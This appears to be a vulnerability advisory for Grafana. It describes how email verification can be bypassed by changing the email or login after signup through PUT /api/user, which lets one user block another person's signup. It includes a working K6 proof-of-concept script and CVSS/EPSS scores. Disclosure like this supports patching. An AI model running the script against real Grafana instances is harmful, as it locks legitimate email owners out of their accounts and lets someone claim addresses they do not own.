5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
LOW
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
7.1 High
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.1%
Email validation can easily be bypassed because verify_email_enabled
option enable email validation at sign up only.
A user changing it’s email after signing up (and verifying it) can change it without verification in /profile
.
This can be used to prevent legitimate owner of the email address from signing up.
Another way to prevent email’s owner from signing up is by setting Username as an email:
When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.
Here user a prevents owner of [email protected] to signup.
I don’t know exact location but this is related to PUT /api/user handler.
Bypass email validation:
Prevent email’s owner from signing up:
K6 script (with verify_email_enabled
set to false
):
import { check, group } from "k6"
import http from "k6/http"
export const options = {
scenarios: {
perVuIter: {
executor: 'per-vu-iterations',
vus: 1,
iterations: 1
}
}
}
const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"
export default function () {
group("create user_a with email [email protected]", () => {
const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
"email": "[email protected]",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
group("change user_a login to [email protected]", () => {
const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
"email": "[email protected]",
"login": "[email protected]", // user_b email.
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200
})
})
http.cookieJar().clear(GRAFANA_URL)
group("create user_b with email [email protected]", () => {
const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
"email": "[email protected]",
"username": "[email protected]",
"password": "password"
}), {
headers: {
'Content-Type': "application/json"
}
})
check(response, {
'status code is 200': (r) => r.status == 200 // fail
})
})
}
Bypass email verification.
Prevent legitimate owner from signing up.
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
LOW
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
7.1 High
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.1%